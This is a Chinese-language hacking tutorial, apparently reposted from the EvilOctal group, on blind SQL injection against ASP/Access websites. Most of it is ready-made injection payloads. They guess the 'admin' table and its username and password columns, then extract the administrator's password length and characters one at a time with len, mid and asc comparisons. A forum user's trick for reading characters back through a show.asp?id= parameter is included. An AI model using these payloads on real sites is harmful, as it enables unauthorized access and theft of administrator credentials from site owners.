Injection的猜测技术的一些相关总结 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    注意:谨以此文章献给我的父亲和母亲,感谢他们对我多年来的养育之恩,

Injection的猜测技术的一些相关总结

。本文是在作者若通宵后趋近神智不清的时候总结的,如有遗漏纯属必然。

    原创声明:

    中国暗域网络技术资讯站原创文章,作者 冰血封情,转载劳烦著名出处。

    拙笔正文:

    学习的最好方法就是定期总结自己的学习笔记:)开始吧

    通过1=1和1=2来简单检测页面的脚本安全性这里已经没必要再说了

    在前阵子发的本周日程中列入了以下的计划 现在把他完善

    首先说我们通过

    0<>(select count(*) from admin)

    这里的admin就是我们猜测的存放管理员信息的表 现在假设猜测到了

    0<>(select count(*) from admin where username<>'')

    猜测admin表里用来存放用户名的列叫username

    0<>(select count(*) from admin where password<>'')

    猜测admin表里用来存放密码的列叫password

    假设已经对了 此时我们就可以在页面直接用

    and 'EvilOctal''=(select username from admin where username='EvilOctal')

    猜解管理员的名字 其实不用猜测 因为一般名字都可以在文章或者软件的添加者那里找到

    仔细看就可以发现我们每句都只有一个未知参数 我都用黑体表示了

    <1>可以找到管理员用户名的情况下进行直接猜解密码

    密码长度我们猜测是5位

    and 'EvilOctal'=(select username from admin where len(password)=5)

    密码的前5位是admin

    and 'EvilOctal'=(select username from admin where left(password,5)='admin')

    <2>无法得到管理员用户名的情况下用id进行猜解而逐位猜测用户名

    已经无法在页面找到管理员的名字了 那就这样

    and 1=(select min(id) from admin)

    假设对了我们就知道管理员的最小id是1 那就猜测名字长度

    and 1=(select min(id) from admin where len(username)=9)

    管理员的名字是9位的 那每一位是什么呢 我们猜测管理员用户名左边开始第二位是v

    and 1=(select min(id) from admin where mid(username,2,1)='v')

    假设全部猜测出来 EvilOctal 现在来看密码

    and 1=(select min(id) from admin where len(password)>7)

    以上是猜测密码为数范围 如果确定为数就可以直接猜测 以下两句

    and 'EvilOctal'=(select username from admin where left(password,5)='admin')

    上面是说猜测密码的前5位是admin 下面的则说密码的第5位是n

    and 1=(select min(id) from admin where mid(password,5,1)='n')

    <3>管理员密码中文的情况下使用ascii转换进行猜测

    至于转换ascii猜测的方法

    取得id后可以这样使用你所取得的id 这里假设是1

    那么 用户名长度就应该这样猜

    and 1=(select id from admin where len(admin)=9)

    然后猜测用户名转换ascii句子自己对比 下面的意思都是猜测管理员名左边第二位是t 前一句比较常用

    and 1=(select id from admin where asc(mid(admin,2,1))=116)

    and 1=(select min(id) from admin where mid(username,2,1)='t')

    至于密码 看 以下两句都是说猜测密码的第2位是t

    and 1=(select id from admin where asc(mid(password,2,1))=116)

    and 1=(select min(id) from admin where mid(password,2,1)='t')

    以上就是我的一点小总结 希望能在注入中有所提高......

    下面是论坛高手oldduck说的一个新思路的小方法

    也许很多高手都已经想到了 甚至熟练掌握了 我比较菜 当新东西发了

    高手oldduck的话:

    找到一个页面可以显示新闻的漏洞页面,比如show.asp?id=123

    然后用

    show.asp?id=(select top 1 len(password) from admin)

    假设有新闻成功显示

    字段库名都是正确的情况下 到列表页面或者搜索页面找到这则文章看链接

    假设是show.asp?id=6 那么长度就是6

    然后猜1到6位的密码

    show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)

    用同样的方法找到链接 看id值 再从ascii表中查出字符

    如果显示找不到新闻的话 可以用

    show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)-(-10)

    这样来加一个基数 或者减一个数

    ......

    方法真是coolB了

    灌水广告:

    ——文章原创由 中国暗域网络 及 邪恶八进制 冰血封情

    ——Be powered by Hackway Power of Cn & EvilOctal Security Group Evilin

    ——欢迎访问 www.HackWay.net & www.EvilOctal.com

最新文章